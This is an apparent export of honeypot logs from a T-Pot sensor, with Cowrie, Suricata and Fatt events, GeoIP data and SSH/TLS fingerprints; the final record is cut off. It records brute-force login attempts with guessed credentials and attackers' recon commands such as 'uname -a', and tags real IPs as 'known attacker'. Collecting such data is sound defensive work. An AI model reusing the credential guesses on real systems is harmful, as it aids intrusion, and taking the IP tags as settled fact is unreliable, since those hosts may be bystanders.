32153	159.89.194.160	109.199.241.180	Suricata	2021-09-20 14:49:50.795778+03	2021-09-20 15:00:03.110717+03	{"_id": "iAYKA3wBvYTbRNuEfEiZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.89.194.160", "dest_ip": "192.168.20.116", "flow_id": 2161274609644342, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59400, "dest_port": 22, "timestamp": "2021-09-20T11:49:50.795778Z", "@timestamp": "2021-09-20T11:49:50.795Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32155	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:49:51.124196+03	2021-09-20 15:00:03.113716+03	{"_id": "iwYKA3wBvYTbRNuEfkj3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "4e021f97b301", "@version": "1", "duration": 2.4537863731384277, "timestamp": "2021-09-20T11:49:51.124196Z", "@timestamp": "2021-09-20T11:49:51.124Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
32156	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:49:52.830585+03	2021-09-20 15:00:03.114717+03	{"_id": "jwYKA3wBvYTbRNuEgkjg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "beda5f4e499a", "@version": "1", "duration": 5.54705286026001, "timestamp": "2021-09-20T11:49:52.830585Z", "@timestamp": "2021-09-20T11:49:52.830Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32157	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:50:23.17846+03	2021-09-20 15:00:03.115717+03	{"_id": "GQYKA3wBvYTbRNuE_EkM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.login.failed", "message": "login attempt [thor/thor] failed", "session": "2c9c19a6e9b9", "@version": "1", "password": "thor", "username": "thor", "timestamp": "2021-09-20T11:50:23.178460Z", "@timestamp": "2021-09-20T11:50:23.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32158	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:23.884311+03	2021-09-20 15:00:03.117716+03	{"_id": "HAYKA3wBvYTbRNuE_EkM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:23.884311Z", "@timestamp": "2021-09-20T11:50:23.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32159	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:50:24.369206+03	2021-09-20 15:00:03.118717+03	{"_id": "HwYKA3wBvYTbRNuE_0n2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "2c9c19a6e9b9", "@version": "1", "duration": 2.222412109375, "timestamp": "2021-09-20T11:50:24.369206Z", "@timestamp": "2021-09-20T11:50:24.369Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32160	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:24.758764+03	2021-09-20 15:00:03.119716+03	{"_id": "HgYKA3wBvYTbRNuE_0n2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:24.758764Z", "@timestamp": "2021-09-20T11:50:24.758Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32162	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:50:24.916112+03	2021-09-20 15:00:03.121716+03	{"_id": "IwYLA3wBvYTbRNuEAkl-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35738, "dest_port": 443, "timestamp": "2021-09-20T11:50:24.916112", "@timestamp": "2021-09-20T11:50:24.916Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32163	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:50:24.956209+03	2021-09-20 15:00:03.123716+03	{"_id": "JAYLA3wBvYTbRNuEAkl-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35738, "timestamp": "2021-09-20T11:50:24.956209", "@timestamp": "2021-09-20T11:50:24.956Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32164	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:25.627213+03	2021-09-20 15:00:03.124717+03	{"_id": "LAYLA3wBvYTbRNuEA0nf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:25.627213Z", "@timestamp": "2021-09-20T11:50:25.627Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32165	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:25.627753+03	2021-09-20 15:00:03.125717+03	{"_id": "KwYLA3wBvYTbRNuEA0nf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:25.627753Z", "@timestamp": "2021-09-20T11:50:25.627Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32166	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:50:26.252019+03	2021-09-20 15:00:03.126717+03	{"_id": "LQYLA3wBvYTbRNuEBklo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.105.80.34", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51662, "timestamp": "2021-09-20T11:50:26.252019", "@timestamp": "2021-09-20T11:50:26.252Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
44392	87.255.215.173	109.199.241.180	Cowrie	2021-09-20 16:35:21.487358+03	2021-09-20 16:45:01.594564+03	{"_id": "FQZrA3wBvYTbRNuEFqf6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.255.215.173", "asn": 39188, "as_org": "ICON LTD", "latitude": 48.0, "location": {"lat": 48.0, "lon": 68.0}, "timezone": "Asia/Almaty", "longitude": 68.0, "country_name": "Kazakhstan", "country_code2": "KZ", "country_code3": "KZ", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.255.215.173", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "a1a8232548b8", "@version": "1", "timestamp": "2021-09-20T13:35:21.487358Z", "@timestamp": "2021-09-20T13:35:21.487Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	KZ
32167	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:50:27.863853+03	2021-09-20 15:00:03.128716+03	{"_id": "QwYLA3wBvYTbRNuEC0mw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "259d267b9af0", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:50:27.863853Z", "@timestamp": "2021-09-20T11:50:27.863Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32168	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:50:27.73573+03	2021-09-20 15:00:03.129716+03	{"_id": "QAYLA3wBvYTbRNuEC0mw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.login.failed", "message": "login attempt [yq/123456] failed", "session": "513e309a9be5", "@version": "1", "password": "123456", "username": "yq", "timestamp": "2021-09-20T11:50:27.735730Z", "@timestamp": "2021-09-20T11:50:27.735Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32169	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:27.072631+03	2021-09-20 15:00:03.130717+03	{"_id": "QQYLA3wBvYTbRNuEC0mw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:27.072631Z", "@timestamp": "2021-09-20T11:50:27.072Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32170	87.112.251.105	109.199.241.180	Suricata	2021-09-20 14:50:27.935487+03	2021-09-20 15:00:03.131717+03	{"_id": "RAYLA3wBvYTbRNuEDUkz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "flow_id": 1942993636685495, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44147, "dest_port": 22, "timestamp": "2021-09-20T11:50:27.935487Z", "@timestamp": "2021-09-20T11:50:27.935Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32171	157.240.234.37	109.199.241.180	Suricata	2021-09-20 14:50:27.737015+03	2021-09-20 15:00:03.133716+03	{"_id": "RQYLA3wBvYTbRNuEDUkz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:50:27.737015+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.37", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.37", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 405509161303799, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 5222, "dest_port": 58554, "timestamp": "2021-09-20T11:50:27.737015Z", "@timestamp": "2021-09-20T11:50:27.737Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32210	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:36.051199+03	2021-09-20 15:00:03.184719+03	{"_id": "gAYLA3wBvYTbRNuELkne", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:36.051199Z", "@timestamp": "2021-09-20T11:50:36.051Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32172	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:50:27.963736+03	2021-09-20 15:00:03.134717+03	{"_id": "RwYLA3wBvYTbRNuEDkk5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 20733, "timestamp": "2021-09-20T11:50:27.963736", "@timestamp": "2021-09-20T11:50:27.963Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32173	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:50:28.222204+03	2021-09-20 15:00:03.135717+03	{"_id": "SQYLA3wBvYTbRNuEDkk5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 20733, "dest_port": 22, "timestamp": "2021-09-20T11:50:28.222204", "@timestamp": 